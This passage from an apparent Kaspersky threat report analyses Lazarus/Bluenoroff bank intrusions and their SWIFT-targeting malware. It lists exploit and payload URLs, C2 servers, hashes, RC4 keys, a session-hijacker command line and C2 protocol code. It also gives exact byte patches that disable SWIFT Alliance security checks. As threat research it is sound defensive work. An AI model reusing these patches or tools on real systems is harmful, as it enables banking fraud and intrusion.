""); After successful exploitation, malware was downloaded to the workstation, where, once executed, it connected to some foreign servers and could be used to perform network reconnaissance, lateral movement and data exfiltration. Visiting the exploit page resulted in Microsoft Internet Explorer crashing, which was recorded with a process dump file. The dumped process included the following indicators: [version=""2""] [swfURL=""https://sap.misapor[.]ch/vishop/include/cambio.swf"" pageURL=""https://sap.misapor[.]ch/vishop/view.jsp""]... Additional research by Kaspersky Lab discovered that the exploit file at hxxp://sap.misapor[.]ch:443/vishop/include/cambio.swf resulted in the download of a backdoor module. Based on our own telemetry, Kaspersky Lab confirms that sap.misapor[.]ch was compromised as well, and was spreading exploits for Adobe Flash Player and Microsoft Silverlight. Some of the known vulnerability CVEs observed in attacks originate from that website: 1. CVE-2016-4117 2. CVE-2015-8651 3. CVE-2016-1019 4. CVE-2016-0034 The Flash exploit used in the attacks was very similar to known exploits from the Magnitude Exploit Kit. These vulnerabilities have been patched by Adobe and Microsoft since April 2016 and January 2016 respectively. Fig. Part of the exploit code Inside the exploits, one can see a lot of Russian word strings, like \xe2\x80\x9cchainik\xe2\x80\x9d, \xe2\x80\x9cBabaLena\xe2\x80\x9d, \xe2\x80\x9cvyzov_chainika\xe2\x80\x9d, \xe2\x80\x9cpodgotovkaskotiny\xe2\x80\x9d, etc. The shellcode downloads the final payload from: https://sap[.]misapor.ch/vishop/view.jsp?uid=[redacted]&pagenum=3&eid=00000002&s=2 &data= It's worth mentioning here that Lazarus used other false flags in conjunction with this Russian exploit code. They also used some Russian words in one of the backdoors and packed the malware with a commercial protector (Enigma) developed by a Russian author. However, the Russian words in the backdoor looked like a very cheap imitation, because every native Russian speaking software developer quickly noticed how odd these commands were. Fig. Russian words in the backdoor code. At the time of research this URL was dead but we were able to find an identical one which leads to a malicious file download (MD5: 06cd99f0f9f152655469156059a8ea25, detected as Trojan- Banker.Win32.Alreay.gen) from http://www.eye-watch[.]in/design/img/perfmon.dat. Interestingly, this sample was uploaded to VirusTotal from Poland and Korea in November 2016. It is a packed version of a previously known backdoor used by Lazarus attackers in Incident #1\xe2\x80\x99s bank. What Made the Breach Possible Since the attackers didn\xe2\x80\x99t use any zero-days, the infiltration was successful because of non- updated software. In one case, we observed a victim running the following software: The exploit breached the system running Adobe Flash Player, version 20.0.0.235. This version was officially released on 8 December, 2015. Adobe implemented a self-update mechanism for Flash Player some years ago and the analyzed system indeed had a scheduled job, which attempted to periodically update Adobe Flash Updater. We checked the event logs of the Task Scheduler and this task was regularly running. The task was started as SYSTEM user and attempted to connect to the Internet to fetch Flash Player updates from fpdownload.macromedia.com. However, this attempt failed, either because it couldn't find the proxy server to connect to the update server, or because of missing credentials for the proxy. The last failed attempt to update Adobe Flash was dated in December 2016, a month before the breach happened. If only that updater could have accessed the Internet the attack would have failed. This is an important issue that may be widely present in many corporate networks. Lateral Movement. Backup Server. After the initial breach the attackers pivoted from infected hosts and emerged to migrate to a safer place for persistence. A backup server was chosen as the next target. Based on traffic logs provided for our analysis, we confirmed that there were connections to known Bluenoroff C2 servers originating from infected hosts. The following information was found in the network logs: Destination:Port Type Bytes Transfered 82.144.131[.]5:8080 Incomplete Less than 1KB 82.144.131[.]5:443 SSL Less than 3KB By checking other non-whitelisted hosts and IP ranges we were able to identify an additional C2 server belonging to the same attackers: Destination:Port Type Bytes Transfered 73.245.147[.]162:443 SSL Less than 1.5MB While this additional C2 hasn't been reported previously, there were no additional hosts found that connected to that server. Lateral Movement. Host1. During the attack, the threat actor deployed a number of other malware to a second machine we call Host1. The malware files include: Filename Size MD5 %SYSTEM%\\msv2_0.dll 78'848 bytes 474f08fb4a0b8c9e1b88349098de10b1 %WINDIR%\\Help\\msv2_0.chm 729'088 bytes 579e45a09dc2370c71515bd0870b2078 %WINDIR%\\Help\\msv2_0.hlp 3'696 bytes 7413f08e12f7a4b48342a4b530c8b785 The msv2_0.dll decrypts and loads the payload from msv2_0.chm, which, in turn, decrypts and loads a configuration file from msv2_0.hlp. msv2_0.hlp, which is encrypted with Spritz encryption algorithm and the following key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 Full technical details about this malware are available in the Appendix. The decrypted configuration file contains references to two previously known1 Bluenoroff C2 servers: \xe2\x97\x8f tradeboard.mefound[.]com:443 \xe2\x97\x8f movis-es.ignorelist[.]com:443 Another file created around the same time was found in: \xe2\x97\x8f C:\\Windows\\Temp\\tmp3363.tmp. It included a short text file which contained the following text message: [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. Additional searches by events which occurred around the same time brought some evidence of other command line executable modules and Windows system tools being run on that day and later. The following Prefetch files indicate the execution of other modules: Executable Run Counter RUNDLL32.EXE 1 RUNDLL32.EXE2 1 FIND.EXE 6 GPSVC.EXE 11 SC.EXE 11 NET.EXE 42 NETSTAT.EXE 8 MSDTC.EXE 7 This confirms the active reconnaissance stage of the attack. According to prefetch files for RUNDLL32.EXE, this executable was used to load msv2_0.dll and msv2_0.chm. References to these files were found in the prefetch data of this process. 1 Bluenoroff is a Kaspersky Lab codename for a threat actor involved in financial targeted attacks. The most well-known attack launched by the Bluenoroff group is the Bangladesh bank heist. 2 Same executable was run with different command line Note: MSDTC.EXE and GPSVC.EXE are among the commonly used filenames of these attackers in the past. While these filenames may look legitimate, their location was different from the standard system equivalents. Standard Windows msdtc.exe binary is usually located in %systemroot%\\System32\\msdtc.exe, while the attacker placed msdtc.exe in %systemroot%\\msdtc.exe for disguise. The path was confirmed from parsed prefetch files. Unfortunately the attackers have already securely wiped the msdtc.exe file in the Windows directory. We were unable to recover this file. The same applies to %systemroot%\\gpvc.exe which existed on the dates of the attack but was securely wiped by the attackers later. Based on the timestamps we found so far, it seems that the initial infection of Host1 occurred through access from a privileged account. We looked carefully at the events preceding the infection time and found something suspicious in the Windows Security event log: Description Special privileges assigned to new logon. Subject: Security ID: [REDACTED] Account Name: [ADMIN ACCOUNT REDACTED] Account Domain: [REDACTED] Logon ID: [REDACTED] Privileges: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege Then, we checked if the user \xe2\x80\x98[ADMIN ACCOUNT REDACTED]' had logged into the same system in the past. According to the event logs this had never happened before the attackers used it. Apparently, this user logon had very high privileges (SeBackupPrivilege, SeLoadDriverPrivilege, SeDebugPrivilege, SeImpersonatePrivilege), allowing the remote user to fully control the host, install system services, drivers, start processes as other users, and have full control over other processes running in the system (i.e. inject code into their memory). Next, we searched for other event log records related to the activity of the same account, and found several records suggesting that this account was used from Host1 to access other hosts in the same domain. Description A logon was attempted using explicit credentials. ... Account Whose Credentials Were Used: Account Name: [ADMIN ACCOUNT REDACTED] Account Domain: [REDACTED] Logon GUID: {00000000-0000-0000-0000-000000000000} Target Server: Target Server Name: [REDACTED] Additional Information: [REDACTED] Process Information: Process ID: 0x00000000000xxxxx Process Name: C:\\Windows\\System32\\schtasks.exe Network Information: Network Address: - Port: - This event is generated when a process attempts to log on an account by explicitly specifying that account\xe2\x80\x99s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. This indicates that the account was used to create new scheduled tasks on the remote hosts. This is one of the popular ways to remotely run new processes and propagate infections during cyber attacks. Then we searched for other similar attempts to start schtasks.exe remotely on other hosts and collected several of them. Lateral Movement. Host2. This host contained several unique and very large malware modules. The following files were found on the system: Filename Size MD5 C:\\Windows\\gpsvc.exe 3'449'344 bytes 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae C:\\Windows\\Help\\srservice.chm 1'861'632 bytes cb65d885f4799dbdf80af2214ecdc5fa (decrypted file MD5: ad5485fac7fed74d112799600edb2fbf) C:\\Windows\\Help\\srservice.hlp 3696 bytes 954f50301207c52e7616cc490b8b4d3c (config file, see description of ad5485fac7fed74d112799600edb2fbf) C:\\Windows\\System32\\srservice.dll 1'515'008 bytes 16a278d0ec24458c8e47672529835117 C:\\Windows\\System32\\lcsvsvc.dll 1'545'216 bytes c635e0aa816ba5fe6500ca9ecf34bd06 All of this malware were general purpose backdoors and their respective droppers, loaders and configuration files. Details about this malware is available in the Appendix. Lateral Movement. Host3. The following malicious files were found on the system: Filename Size MD5 C:\\Windows\\gpsvc.dat 901'555 bytes c1364bbf63b3617b25b58209e4529d8c C:\\Windows\\gpsvc.exe 753'664 bytes 85d316590edfb4212049c4490db08c4b C:\\Windows\\msdtc.bat 454 bytes 3b1dfeb298d0fb27c31944907d900c1d Gpsvc.dat contains an encrypted payload for an unidentified loader. It's possible that the loader was placed on a different host following the anti-forensic technique that we have observed previously or gpsvc.exe is the loader but we are missing the secret passphrase passed via commandline. The decrypted files are described in the Appendix to this report. Cease of Activity In several cases we investigated, once the attackers were confident they had been discovered, because they lost some of the compromised assets, they started wiping the remaining malware payloads. This indicates a skilled attacker, who cares about being discovered. Other Known Operations The attack on European financial institutions was implemented via a watering hole, a compromised government website that had many regular visitors from local banks. However, the same approach has been used in multiple other places around the world. The Polish waterhole incident got much more public attention than the others due to the escalation of the alert to a higher level and the compromise of a government website. We have seen a few other websites being compromised with the same symptoms and turned into a watering hole through script injection or by placing exploit delivery code. We have found them in the following countries: \xe2\x97\x8f Russian Federation \xe2\x97\x8f Australia \xe2\x97\x8f Uruguay \xe2\x97\x8f Mexico \xe2\x97\x8f India \xe2\x97\x8f Nigeria \xe2\x97\x8f Peru What connected most of the compromised websites was the JBoss application server platform. This suggests that attackers may have an exploit for the JBoss server. Unfortunately we haven\xe2\x80\x99t managed to find the exploit code yet. Nevertheless, we would like to recommend to all JBoss application server administrators that they limit unnecessary access to their servers and check the access logs for attack attempts. Banks were not the only Lazarus Group targets. This suggests that it has multiple objectives. We have seen some unusual victims, probably overlapping with the wider Lazarus Group operations, i.e. a cryptocurrency business. When it comes to Bluenoroff, its typical list of targets includes banks, financial and trading companies, casinos and cryptocurrency businesses. Detections of Lazarus/Bluenoroff malware are also distributed across the world. Here are some: Conclusions Lazarus is not just another APT actor. The scale of Lazarus operations is shocking. It has been on a growth spike since 2011 and activities didn't disappear after Novetta published the results of its Operation Blockbuster research. All those hundreds of samples that were collected give the impression that Lazarus is operating a factory of malware, which produces new samples via multiple independent conveyors. We have seen it using various code obfuscation techniques, rewriting its own algorithms, applying commercial software protectors, and using its own and underground packers. Lazarus knows the value of quality code, which is why we normally see rudimentary backdoors being pushed during the first stage of infection. Burning those doesn't cause too much impact on the group. However, if the first stage backdoor reports an interesting infection it starts deploying more advanced code, carefully protecting it from accidental detection on disk. The code is wrapped into a DLL loader or stored in an encrypted container, or maybe hidden in a binary encrypted registry value. It usually comes with an installer that only the attackers can use, because they password protect it. It guarantees that automated systems - be it public sandbox or a researcher's environment - will never see the real payload. Most of the tools are designed to be disposable material that will be replaced with a new generation as soon as they are burnt. And then there will be newer, and newer, and newer versions. Lazarus avoids reusing the same tools, the same code, and the same algorithms. ""Keep morphing!"" seems to be its internal motto. Those rare cases when it is caught with the same tools are operational mistakes, because the group seems to be so large that one part doesn't know what the other is doing. All this level of sophistication is something that is not generally found in the cybercriminal world. It's something that requires strict organization and control at all stages of the operation. That's why we think that Lazarus is not just another APT actor. Of course such a process requires a lot of money to keep running the business, which is why the appearance of the Bluenoroff subgroup within Lazarus was logical. Bluenoroff, as a subgroup of Lazarus, is focused only on financial attacks. It has reverse engineering skills and spends time tearing apart legitimate software, implementing patches for SWIFT Alliance software, and finding ways and schemes to steal big money. Its malware is different and the attackers aren't exactly soldiers that hit and run. Instead they prefer to make an execution trace to be able to reconstruct and quickly debug the problem. They are field engineers that come when the ground is already cleared after the conquest of new lands. One of Bluenoroff's favorite strategies is to silently integrate into running processes without breaking them. From the perspective of the code we've seen it looks as if it is not exactly looking for hit and run solutions when it comes to money theft. Its solutions are aimed at invisible theft without leaving a trace. Of course, attempts to move around millions of USD can hardly remain unnoticed but we believe that its malware might now be secretly deployed in many other places - and it doesn't trigger any serious alarms because it's much more quiet. We would like to note, that in all the observed attacks against banks that we have analyzed, servers used to connect to SWIFT didn't demonstrate or expose any specific vulnerability. The attacks were focused on the banks\xe2\x80\x99 infrastructure and staff, exploiting vulnerabilities in commonly used software or websites, bruteforcing passwords, using keyloggers and elevating privileges. However, the design of inter-banking transactions using a bank's own server running SWIFT connected software suggests that there are personnel responsible for the administration and operation of the SWIFT connected server. Sooner or later the attackers find these users, gain their necessary privileges and access the server connected to the SWIFT messaging platform. With administrative access to the platform, they can manipulate the software running on the system as they wish. There is not much that can stop them, because from a technical perspective it may not differ from what authorized and qualified engineers do: starting and stopping services, patching software, or modifying databases. Therefore, in the breaches we analyzed, SWIFT as an organization hasn\xe2\x80\x99t been directly at fault. More than that, we have witnessed SWIFT trying to protect its customers by implementing the detection of database and software integrity issues. We believe that this is the right direction and has to be extended with full support. Complicating patches of integrity checks further may create a serious threat to the success of further operations run by Lazarus/Bluenoroff against banks worldwide. To date, the Lazarus/Bluenoroff group has been one of the most successful in large scale operations against financial industry. We believe that it will remain one of the biggest threats to the banking sector, finance and trading companies as well as casinos, for years to come. As usual, defense against attacks such as those from Lazarus/Bluenoroff should include a multi- layered approach. Kaspersky Lab products include special mitigation strategies against this group, as well as many other APT groups we track. If you are interested in reading more about effective mitigation strategies in general, we recommend the following articles: \xe2\x97\x8f Strategies for mitigating APTs \xe2\x97\x8f How to mitigate 85% of threats with four strategies We will continue tracking the Lazarus/Bluenoroff actor and will share new findings with our intel report subscribers as well as with the general public. If you would like to be among the first to hear our news, we suggest you subscribe to our intel reports. For more information, contact: intelreports@kaspersky.com. https://securelist.com/threats/strategies-for-mitigating-advanced-persistent-threats-apts/ https://securelist.com/blog/software/69887/how-to-mitigate-85-of-threats-with-only-four-strategies/ Appendix: Malware Analysis Malware 1: SWIFT transactions Information Harvester (New Runoff) MD5: 0abdaebbdbd5e6507e6db15f628d6fd7 Discovered path: C:\\MSO10\\fltmsg.exe Date: 2016.08.18 23:44:21 Size: 90'112 bytes Compiled on: 2016.08.18 22:24:41 (GMT) Linker version: 10.0 Type: PE32 executable (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: NR Used in: Incident #1 An almost identical file was found in another location with the following properties: MD5: 9d1db33d89ce9d44354dcba9ebba4c2d Discovered path: D:\\Alliance\\Entry\\common\\bin\\win32\\nroff.exe Date detected: 2016-08-12 22:24:19 Size: 89'088 bytes Compiled on: 2016.08.12 12:25:02 (GMT) Type: PE32 executable (GUI) Intel 80386, for MS Windows Internal module mark: NR The compilation timestamp indicates the malware was compiled exactly one day before being used in the bank. The module starts from creating a ""MSO10"" directory on the logical drive where the Windows system is installed, i.e. C:\\MSO10. Also, it crafts several local filepaths, the purpose of which isn't clear. Not all have reference in the code and they could be copy-pasted code or part of a common file in the framework. The paths are represented with the following strings: \xe2\x97\x8f %DRIVE%:\\MSO10\\LATIN.SHP \xe2\x97\x8f %DRIVE%:\\MSO10\\ENGDIC.LNG \xe2\x97\x8f %DRIVE%:\\MSO10\\ADDT.REF \xe2\x97\x8f %DRIVE%:\\MSO10\\MSE.LIV Upon starting it makes five attempts to read file C:\\MSO10\\LATIN.SHP with an interval of 100ms. If the LATIN.SHP container is not found or has an invalid signature, the log record will contain the following message: ""NR-PR"", which we assume indicates a PRoblem loading module codenamed ""NR"". The name ""NR"" is probably a reference to the printer helper program called ""nroff"" used by SWIFT Alliance software. The origins of the nroff name go back to a Unix text-formatting program according to Wikipedia. https://en.wikipedia.org/wiki/Nroff The file is read successfully if its size is larger than or equal to a hardcoded value of 35,260 bytes. After that the module decrypts the file with an RC4 algorithm using a hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF. This hardcoded key is quite unique and has been discovered in few other places, including in other tools from the set of malware used to attack SWIFT Alliance software and within the Wiper Tool discovered in Bangladesh in early 2016 (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe). It was also used in another tool to encrypt configuration files as reported by BAE Systems. The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value. The file contains a configuration of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks of 1096 bytes each. The number of blocks may vary, the module reads them all and stores them in a linked list structure. There is an internal logging feature implemented in the current module, which keeps a text log in C:\\MSO10\\ENGDIC.LNG. The text records are stored in lines of the following format: [%Hour%:%Minute%:%Second%] [%Process_PID%] %Message%\\r\\n The message may contain the following prefixes: \xe2\x97\x8f [ERROR] \xe2\x97\x8f [INFO] \xe2\x97\x8f [WARNING] This executable is designed to be called with three parameters: fltmsg.exe The first parameter is a number 1 or 2. If any other value is passed to the executable it simply saves it to the log in the format of ""NR-PR-P %mode%"". We assume that ""NR-PR-P"" is interpreted by the attackers as ""nroff problem parameter"". Mode 1 means that the module shall select the output path automatically, which contains the following string template: ""#%04d%04d.prt"", otherwise the output path is copied from the third command line argument. For recognized modes 1 and 2 the module saves a backup for every ""print file"" passed to it via command line that has the extension "".prt"", "".out"" or "".txt"". The backups are stored in one of the following directories: \xe2\x97\x8f C:\\MSO10\\P %N%\\MOT\\ \xe2\x97\x8f C:\\MSO10\\R %N%\\MOT\\ \xe2\x97\x8f C:\\MSO10\\N %N%\\MOT\\ Where %N% is a sequential integer number. http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html The malware is an information harvester. It processes files passed to it, parses them and searches for specific SWIFT transaction codes, such as: \xe2\x97\x8f 28C: Statement Number \xe2\x97\x8f 25: Account Identification Its main purpose is to accumulate information about transactions passed through it, saving Sender and Receiver, Account and Statement Numbers as well as some other data included in parsed files. The files passed to it are allegedly in the SWIFT transaction format, which suggests that the attackers were closely accustomed to internal SWIFT documentation or carefully reverse engineered the format. It recognizes the following format tags: \xe2\x97\x8f 515 (M51) \xe2\x97\x8f 940 (M94) - start of day balance \xe2\x97\x8f 950 (M95) - end of day balance When such files are found, it logs them into the log folder drive:\\MSO10 and saves a copy. The RC4-encrypted file we found (LATIN.SHP) contained the following strings after decryption: \xe2\x97\x8f D:\\Alliance\\Entry\\database\\bin\\sqlplus.exe \xe2\x97\x8f D:\\Alliance\\Entry\\common\\bin\\win32 \xe2\x97\x8f D:\\Alliance\\Entry \xe2\x97\x8f C:\\MSO10\\fltmsg.exe \xe2\x97\x8f C:\\MSO10\\MSO.DLL \xe2\x97\x8f C:\\MSO10\\MXS.DLL \xe2\x97\x8f \\\\127.0.0.1\\share \xe2\x97\x8f localhost\\testuser \xe2\x97\x8f \\\\127.0.0.1\\share\\ In the older case from Bangladesh the config contained SWIFT business identifier codes (BIC) to hide in SWIFT transaction statements. Malware 2: SWIFT Alliance Access Protection Mangler MD5: 198760a270a19091582a5bd841fbaec0 Size: 71'680 bytes Discovered path: C:\\MSO10\\MSO.dll Compiled on: 2016.08.18 22:24:44 (GMT) Linker version: 10.0 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: PM Used in: Incident #1 The compilation timestamp indicates the malware was compiled in the days preceding the attack on the bank. This malware tool is used to patch some SWIFT Alliance software modules in the memory to disable certain protection mechanisms that were implemented to detect direct database manipulation attempts. The code was most likely created by the same developer that created SWIFT transactions Information Harvester (MD5: 0abdaebbdbd5e6507e6db15f628d6fd7). Like the information harvester it creates a ""MSO10"" directory on the logical drive where the Windows system is installed, i.e. C:\\MSO10. It also crafts several local filepaths, the purpose of which isn't clear. Not all have reference in the code and could be a copy-pasted code or part of common file in the framework: \xe2\x97\x8f %DRIVE%:\\MSO10\\LATIN.SHP \xe2\x97\x8f %DRIVE%:\\MSO10\\ENGDIC.LNG \xe2\x97\x8f %DRIVE%:\\MSO10\\ADDT.REF \xe2\x97\x8f %DRIVE%:\\MSO10\\MSE.LIV Upon starting it makes five attempts to read file C:\\MSO10\\LATIN.SHP with an interval of 100ms. If the LATIN.SHP container is not found or is invalid, the log will contain the following message: ""PM-PR"". The file is read successfully if its size is larger or equal to a hardcoded value of 35,260. After that the module decrypts the file with an RC4 algorithm using a hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF. The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value. The file contains a configuration block of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks of 1096 bytes long. The number of blocks may vary, the module reads them all and stores them in a linked list structure. If the LATIN.SHP file is found then the module simply counts the number of records in it and proceeds with patching the target file, which is described further. If it is not found or the file magic bytes differ from expected after decryption, then the patching does not happen and the code simply drops execution. There is an internal logging feature implemented in the current module, which keeps text log in C:\\MSO10\\ENGDIC.LNG. The following log messages may appear in this file in plaintext: Log message format Description of values PatchMemory(%s, %d) %s - current executable filename %d - 0 or 1 (0 - unpatch operation, 1 - patch operation) [PatchMemory] %s %s - current executable filename [PatchMemory] LoadLibraryA(%s) = %X %s - additional DLL filename %X - additional DLL image base address [WorkMemory] %s %d End %s - executable name to be patched %d - process ID value This is printed in case of failure to open process [WorkMemory] pid=%d, name=%s %d - process ID value %s - executable name to be patched [Patch] 1 Already Patched %s %s - executable name to be patched [Unpatch] 1 Already Unpatched %s %s - executable name to be patched [Patch] 1 %s %s - executable name to be patched [Patch] 1 %s %s - executable name to be patched P[%u-%d] %d %u - process ID which is patched %d - patch index (starts from 0), corresponds to patch block %d - contains last WinAPI error code This is printed in case of failure to patch memory P[%u-%d] OK %u - process ID which is patched %d - patch index (starts from 0), corresponds to patch block [Patch] 2 Already Patched %s %s - executable name to be patched [Unpatch] 2 Already Unpatched %s %s - executable name to be patched [Patch] 2 %s %s - executable name to be patched [Patch] 2 %s %s - executable name to be patched The module has seven embedded blocks of 0x130 bytes long that contain patch target information. Each block seems to have four slots of 0x4C bytes with patch information. However, only the first slot per module is used at this point. Each slot contains information for just two code modifications. The patch slots include the size of the patch, and the relative path to the module to be patched on disk, offset to the patched bytes (containing the relative virtual address) and original bytes. The patcher verifies that the original bytes are in place before modifying the code. The patch procedure can also do unpatching by design, however this feature is currently unused. The first slot is a patch for the liboradb.dll library which seems to be essential and is applied in all cases. Other patches are designed for specific executables that the current SWIFT Alliance Software Patcher DLL module is loaded in. It searches for a corresponding patch that matches the current process executable filename and applies only that patch. The following table contains an interpretation of the patch-blocks embedded into the binary. The table omits empty slots and shows only valid patch instructions: Block Module Patch RVA Original code Replacement Description 1 liboradb.dll 0x8147e 04 00 Disables checksum verification 2 Block is Unused 3 MXS_cont.exe 0xff49 e8c2fbffff b801000000 Disables internal security checks. 0x10b0c e8c2fbffff b801000000 4 mxs_ha.exe 0x65a9 e8c2fbffff b801000000 Disables internal security checks. 0x716c e8c2fbffff b801000000 5 sis_sndmsg.exe 0x49719 e8c2fbffff b801000000 Disables internal security checks. 0x4a2dc e8c2fbffff b801000000 6 SNIS_sendmsg.exe 0xa8119 e8c2fbffff b801000000 Disables internal security checks. 0xa8cdc e8c2fbffff b801000000 7 SNSS_cont.exe 0x7849 e8c2fbffff b801000000 Disables internal security checks. 0x840c e8c2fbffff b801000000 SWIFT Alliance software binary tools are linked with file ""saa_check.cpp"", which provides basic security checks and validates the integrity of the database. The patches are applied to the modules to disable these checks and prevent the detection of database inconsistency. The file selection is not random, as far as the SWIFT connected servers server environment is a complex of executable files with complicated relations, the attackers identified all executables that implemented new security features and patched them off. We have checked all other binaries on the analyzed servers and none of other applications were linked with saa_check.cpp, except those in the patchlist. The patcher DLL has to be loaded into the address space of the target process to work. It is not designed to patch other processes. Malware 3: SWIFT Alliance software Files Hook MD5: f5e0f57684e9da7ef96dd459b554fded Size: 91'136 bytes Discovered path: C:\\MSO10\\MXS.dll Compiled on: 2016.08.18 22:24:31 (GMT) Linker version: 10.0 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: HD (alternative: HF) Used in: Incident #1 The compilation timestamp indicates the malware was compiled during the days of the attack on the bank. It is very similar to SWIFT transactions Information Harvester and SWIFT Alliance software Protection Mangler. Like the information harvester it creates a ""MSO10"" directory on the logical drive where the Windows system is installed, i.e. C:\\MSO10. Similarly, it crafts several local filepaths: \xe2\x97\x8f %DRIVE%:\\MSO10\\LATIN.SHP \xe2\x97\x8f %DRIVE%:\\MSO10\\ENGDIC.LNG \xe2\x97\x8f %DRIVE%:\\MSO10\\ADDT.REF \xe2\x97\x8f %DRIVE%:\\MSO10\\MSE.LIV Upon starting it makes five attempts to read file C:\\MSO10\\LATIN.SHP with an interval of 100ms. If the LATIN.SHP container is not found or is invalid, the log will contain the following message: ""HD-PR"". The file is read successfully if its size is larger than or equal to a hardcoded value of 35,260. After that the module decrypts the file with an RC4 algorithm using the hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF. The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value. The file contains a configuration of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks 1096 bytes long. The number of blocks may vary, the module reads them all and stores them in a linked list structure. If the LATIN.SHP file is found then the module simply counts the number of records in it and proceeds. If it is not found or the magic file bytes differ from expected after decryption, then the patching will not happen and the code simply drops execution. There is an internal logging feature implemented in the current module, which keeps a text log in C:\\MSO10\\ENGDIC.LNG. The following log messages may appear in a file in plaintext: Log message format Description of values HF_Initialize(%s) %s - current executable filename NewCopyFileA(%s, %s, %d) The arguments correspond to source, destination file and flag value for ""overwrite if exists"". NewCopyFileA->CreateProcess(%s) failed with error=%d %s - commandline of a fltmsg.exe process %d - Win32 API integer error code NewCreateProcessA(%s) - 1 %s \xe2\x80\x93 command line of a new process NewCreateProcessA(%s) - 2 %s \xe2\x80\x93 command line replacement The purpose of this module is in patching the current process, so that CopyFileA function in fact calls a custom hook function, which calls CreateProcessA and passes some arguments to it. The command line for the new process is as follows: C:\\MSO10\\fltmsg.exe 2 ""%source_path%"" ""%destination_path%"" The path to the fltmsg.exe process is taken from the decrypted configuration file C:\\MSO10\\LATIN.SHP. Another API function, CreateProcessA is similarly hooked. Any call to create a new process, which starts one of two recognized executables ""nroff"" or ""printhelper"", is modified. Before the original executables are called, a custom application will be spawned with the following commandline: C:\\MSO10\\fltmsg.exe 0 %original arguments% - for nroff C:\\MSO10\\fltmsg.exe 1 %original arguments% - for printhelper If the execution fails the module logs a failure message with a Win32 API error code. We assume that this module is injected in the middle of running SWIFT Alliance software, to divert some of the interesting files for alteration or to make a reserve copy. Malware 4: Session Hijacker MD5: 2963cd266e54bd136a966bf491507bbf Date (appeared in collection): 2015-05-23 02:27 Size: 61'440 bytes Discovered path: c:\\windows\\mdtsc.exe Compiled on: 2011.02.18 07:49:41 (GMT) Type: PE32+ executable (console) x86-64, for MS Windows Linker version: 10.0 Used in: Incident #1 This file is a command line tool to start a new process as another user currently logged on to the same system. To find the user token, one of the following case-insensitive command line options is used: Option Description -n Find token by process name -p Find token by process ID -s Find token by Terminal session ID The last command line option defines the command line of the new process to start. Example usage: c:\\windows\\mdtsc.exe -p 8876 ""rundll32.exe c:\\windows\\fveupdate.dll,Start MAS_search.exe"" The example tool usage was recovered from an infected system during forensic analysis. It was used to start a SWIFT Alliance software tool via a custom application starter that most probably tampered with the new process. The fveupdate.dll module was not recovered from the system. Malware 5: TCP Tunnel Tool MD5: e62a52073fd7bfd251efca9906580839 Date discovered: 2016.08.12 01:11:31 Discovered path: C:\\Windows\\winhlp.exe Size: 20'480 bytes Known as: winhlp.exe, msdtc.exe Last start date: 2016.08.12 21:59 Started by: svchost.exe (standard Windows signed binary) Compiled on: 2014.09.17 16:59:33 (GMT) Type: PE32 executable (GUI) Intel 80386, for MS Windows Linker version: 6.0 Used in: Incident #1 This application is a tool that works as a simple TCP relay that encrypts communication with C2 and contains remote reconfiguration capability. It has to be started with at least two parameters containing host IP and port. Two additional optional parameters may define the destination server IP and port to relay network connections to. The destination server IP and port can be retrieved and reconfigured live from C2. Let's refer to these pairs of IP/ports as HostA/PortA and HostB/PortB respectively. When the tool starts it attempts to connect to the C2 server, which starts from the generation of a handshake key. The handshake key is generated via a simple algorithm such as the following: i = 0; do { key[i] = 0xDB * i ^ 0xF7; ++i; } while ( i < 16 ); This algorithm generates the following string: ASCII Hexadecimal ,-./()*+$%&\\' !"" 2c 2d 2e 2f 28 29 2a 2b 24 25 26 27 20 21 22 Next, it generates a message body, a string of bytes from 64 to 192 bytes long. The fifth DWORD in the message is replaced with special code 0x00000065 (""e"" character). Then it encrypts the message with a handshake key and sends it to the C2 server with the data block length prepended to that buffer. This is what such a packet looks like (blue rows are encrypted with RC4 and handshake key): Offset (bytes) Size (bytes) Description 0 4 Size of the rest of data in the message 4 16 Random data 20 4 Special code 0x00000065 (""e"") 24 >=64 Random data It expects similar behaviour from the server. The server responds with similar packet, where the first DWORD is the size of the rest of the packet and the only meaningful value is at offset 0x14, which must contain 0x00000066 (""f"") or the handshake is not successful. If the handshake is successful, the tool spawns a dedicated thread to deal with the C2 connection. It uses RC4 encryption to communicate with the C2 over TCP with a hardcoded 4-bytes key value: E2 A4 85 92. The analyzed sample uses binary protocol for communication, exchanging messages in fixed length blocks of 40 bytes, which are encrypted with RC4 as mentioned above. Each such block contains a DWORD at offset 0x4 describing a control code used in the protocol. Other fields in the block may contain additional information or be set to a randomly generated number for distraction. Client Server Control Code Meaning Control Code Meaning 0x10001 Ready to work 0x10000 Keep-Alive 0x10008 Task Done 0x10002 Start tunnelling with HostB 0x10003 Set new HostB/PortB 0x10004 Get current HostB/PortB 0x10006 Terminate immediately For the Control Code 0x10003, additional information including IP and port numbers are transferred in the same message block at offsets 0x10 for IP and 0x14 for port. The tool will not start connecting to HostB until it receives a 0x10002 command to start the tunnelling process. When this happens it will open an additional, independent TCP session with HostA, will do a handshake, and then pass all data back and forth without modification. Other variants of the tool were found in different places: 